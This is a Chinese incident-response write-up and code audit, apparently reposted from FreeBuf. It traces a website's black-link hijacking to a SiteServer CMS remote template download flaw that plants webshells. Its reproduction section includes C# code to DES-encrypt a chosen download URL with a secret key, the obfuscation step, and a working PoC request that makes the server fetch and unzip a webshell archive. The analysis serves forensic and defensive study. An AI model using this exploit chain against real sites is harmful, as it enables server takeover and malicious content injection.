简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

栏目: 服务器 · 发布时间: 5年前

内容简介:小明同学在某个神清气朗的周六接到来自上级的应急任务,本次任务详情为对某个网站黑链安全攻击事件进行溯源,找到攻击路径,找出幕后真凶,然而,一场意外的事情才刚刚开始……通过收到的任务清单,了解到本次安全事件属于黑链攻击事件,通常主要是通过百度等搜索引擎查看快照等发现存在该黑链,但是直接访问黑链链接却没有任何内容  通过客户在网关出口架构的某安全厂商的下一代防火墙,客户及时发现黑链现象并反馈出来

*本文原创作者:1u0hun,本文属FreeBuf原创奖励计划,未经许可禁止转载

前言

小明同学在某个神清气朗的周六接到来自上级的应急任务,本次任务详情为对某个网站黑链安全攻击事件进行溯源,找到攻击路径,找出幕后真凶,然而,一场意外的事情才刚刚开始……

0×01 应急响应分析

0x0a 事件表现

通过收到的任务清单,了解到本次安全事件属于黑链攻击事件,通常主要是通过百度等搜索引擎查看快照等发现存在该黑链,但是直接访问黑链链接却没有任何内容  通过客户在网关出口架构的某安全厂商的下一代防火墙,客户及时发现黑链现象并反馈出来 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞 通过在百度搜索引擎中使用google hacking搜索方式,来找到百度爬虫爬取到的该网站的黑链快照文件,再次确认黑链现象   简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

而在直接访问该url时则直接跳转到正常页面,通过简单的信息,可以确定,应该是在服务器端写入Referer UA劫持,将来自于百度等搜索引擎的访问劫持跳转到黑链,而直接输入url访问则不进行劫持,要想使用此种黑链手法,必须要拿下服务器才行,意味着客户服务器肯定植入了后门文件

0x0b 事件分析

通过上述事件表现,基本上可以判断出攻击者攻击的方式,因此到被攻击的服务器,拿上D盾一顿扫,可以看到出现很多后门文件,最近的一次是在2018-10-04,距离本次安全应急也是最早的,与百度快照中的时间保持一致,基本上可以确定是这一次攻击后,写了黑链劫持文件,导致此次黑链安全事件 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞 根据经验在网站目录下搜索spider或者黑链链接url等标志字符,确定黑链的文件,可以看到在该文件中对来源于sougou、haosou、so、baidu等搜索引擎的UA,就会劫持跳转到博彩网站,因此将该文件删除就能够恢复网站的正常 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞 再对事件处置完毕,进行日志分析,根据之前掌握到的时间以及webshell后门文件的名称include.aspx、aspdm.txt(恶意代码在aspdm.txt中,使用include.aspx包含执行),对日志进行筛选(IIS日志可能存在8个小时的误差,即访问时间为14时,日志记录可能在6时),经过一个多小时的排查,发现有一个ajaxotherservice.aspx此服务接口存在可疑,攻击者在攻击前频繁访问此URL接口 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞 将服务器上的webshell后门文件先备份样本后删除,访问该可疑链接 http://www.xxx.com/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0ZW0iiVbi0slash0MDytVnpZKliDw0equals0&directoryName=txt2 ,模拟恶意攻击者行为,发现浏览器会返回信息为站点模板下载成功 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞 之后在服务器发现模板文件目录下果然会自动生成一个后门zip并且会自解压,由于使用zip因此很多防火墙无法检测拦截该文件是否为恶意文件,造成被轻松植入webshell 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

到此,就发现了后门webshell的攻击路径,通过远程下载模板的方式,将后门webshell打包成压缩文件zip,而压缩文件会自动解压,所以造成aspx文件可以执行,此过程类似于tomcat上传war包

0×02 代码审计

0x0a 漏洞概述

通过了解,得知被攻击的网站使用的是siteserver cms,为开源免费cms框架,官网 https://www.siteserver.cn/ ,捕获到的“0 day”是通过远程模板下载getshell,漏洞缺陷是由于后台模板下载位置未对用户权限进行校验,且 ajaxOtherService中的downloadUrl参数可控,导致getshell,目前经过测试发现对5.0版本包含5.0以下通杀

0x0b 漏洞分析

可以看到利用的是ajaxOtherService.cs中的SiteTemplateDownload功能模块,使用notepad++搜索到该功能模块如下。发现在ajaxOtherService.cs文件中确实存在函数调用接口SiteTemplateDownload(stringdownloadUrl, string directoryName, string userKeyPrefix) 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

其中downloadUrl就是远程文件的URL地址,directoryName是下载到本地之后命名的模板目录,userKeyPrefix是加密的密钥,继续审核此文件,整理出整个函数调用流程如下,首先在AjaxOtherService.cs文件中使用Page_Load函数负责加载整个页面,然后通过request[‘type’]获取到不同的操作类型,如果获取到的type为TypeSiteTemplateDownload ,就会执行其request参数值的相关功能,其中最重要的一步操作就是此时先调用了DecryptStringBySecretKey函数将downloadurl先进行了解密,之后调用SiteTemplateDownload函数进行模板下载并自解压。 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

在AjaxOtherService类中通过常量中已经定义了TypeSiteTemplateDownload = “SiteTemplateDownload”; 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

因此当type等于SiteTemplateDownload时就会调用SiteTemplateDownload函数,逻辑非常的清楚,接下来分析downloadurl到底是怎么解密的,这也是本次审计的重点,毕竟其他逻辑非常清楚了,通过调用TranslateUtils.DecryptStringBySecretKey函数进行解密,通常开发习惯就是类名与文件名基本保持一致,因此很容易找到该文件 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

通过分析源代码可知,这里将DecryptStringBySecretKey函数进行重载,在调用DecryptStringBySecretKey(string inputString)时候,实际上调用的是下面带secretKey的同名函数DecryptStringBySecretKey(stringinputString, string secretKey),分析该函数其中secretKey是取自WebConfigUtils.SecretKey的值,通过审计WebConfigUtils.cs文件可知,该值是从配置文档web.config中取得对应字段值。SecretKey的值可以在web.config文件中找到。

简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

解密函数DecryptStringBySecretKey(string inputString, string secretKey)中secretKey的参数值同样为WebConfigUtils.SecretKey的值,继续分析该函数,可以看到先进行了混淆字符,将字符“+=&?’/”替换成DES加密后的密文。 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

这里使用 python 脚本去除混淆,恢复原DES密文。 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

程序去除混淆之后调用DES模块并实例化encryptor对象调用DesDecrypt解密函数,在实例化对象时将inputString和secreKey传入。使用菜鸟教程 http://www.runoob.com/ 调试运行下核心的加解密代码传入参数_encryptKey和_inputString加密代码调试如下_inputString传入任意黑客构造的地址,_encryptKey传入密钥。

using System; 
using System.IO; 
using System.Security.Cryptography; 
using System.Text; 
namespace EncryptApplication 
{ class Encrypt 
    { static void Main(string[] args) 
      { 
        var _encryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5"; 
        var _decryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
        var _inputString = "http://127.0.0.1:99/txt2.zip";
        var _outString = ""; var _noteMessage = "";
        byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
        try{ 
           var byKey = Encoding.UTF8.GetBytes(_encryptKey.Length > 8 ? _encryptKey.Substring(0, 8) : _encryptKey); 
          var des = new DESCryptoServiceProvider(); 
          var inputByteArray = Encoding.UTF8.GetBytes(_inputString); 
          var ms = new MemoryStream(); 
          var cs = new CryptoStream(ms, des.CreateEncryptor(byKey, iv), CryptoStreamMode.Write);     cs.Write(inputByteArray, 0, inputByteArray.Length);
         cs.FlushFinalBlock();
          _outString = Convert.ToBase64String(ms.ToArray()); 
         Console.WriteLine("DesEncrypt:"); Console.WriteLine(_outString); }
      catch (Exception error) { _noteMessage = error.Message; } 
 } } }

简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

执行之后获取其加密downloadurl如下: ZjYIub/YxA3QempkVBK4CoiVo3M607H/TBf7F0aPcUE=, 使用python代码混淆该url,得到最后利用的downloadurl 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

混淆之后的downloadurl为:ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals00secret0, 解密的步骤与加密相反,首先将混淆后的下载地址去除混淆。去混淆py代码去混淆后密文如下:

ZjYIub/YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H/QGZ4+ZW0iiVbi/MDytVnpZKliDw=,

解密函数调试如下,传入_inputString和密钥 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

0×03  漏洞复现

假设downloadurl地址为(实际利用是黑客的公网IP地址): http://127.0.0.1:99/txt2.zip 安装后的secretKey:vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5加密后的downloadurl:ZjYIub/YxA3QempkVBK4CoiVo3M607H/TBf7F0aPcUE=

混淆后传入参数中的downloadurl:ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals00secret0可以构造如下的POC实现远程文件下载,

获取webshell/Ajax/ajaxOtherService.aspxtype=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals0&directoryName=txt2 在浏览器访问自己搭建的测试网站使用url,发现提示模板下载成功

简记野生应急捕获到的siteserver远程模板下载Getshell漏洞 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞 在服务器上查看,发现自解压该后门zip 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞 然后访问该后门即可 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

0×04 总结

服务器黑链事件,往往大多数都是通过恶意黑客手中的未公开的漏洞,批量扫描攻击,植入webshell,以及黑链。作为一个安全从业人员,要在对坑中学习其攻击手法,从中找到解决方式,维护世界和平。

*本文原创作者:1u0hun,本文属FreeBuf原创奖励计划,未经许可禁止转载


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

无界面交互

无界面交互

[美]Golden Krishna / 杨名 / 人民邮电出版社 / 2017-1 / 49.00元

“真希望在硅谷工作的人们已经读过这本书了。”——Doug LeMoine,Cooper总经理 “这本书的写作看似随意,字里行间却透着一种辛辣、幽默的反叛精神,这种精神可以帮助我们走出当今交互设计的界面泥潭。当你心情低落时,不妨翻开这本书,读上几页,你会开始微笑,大笑,并从中学到很多东西。书中的文字有一股振奋人心的力量。”——Don Norman,加州大学圣迭戈分校设计实验室主任,《设计心理学......一起来看看 《无界面交互》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

html转js在线工具
html转js在线工具

html转js在线工具

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试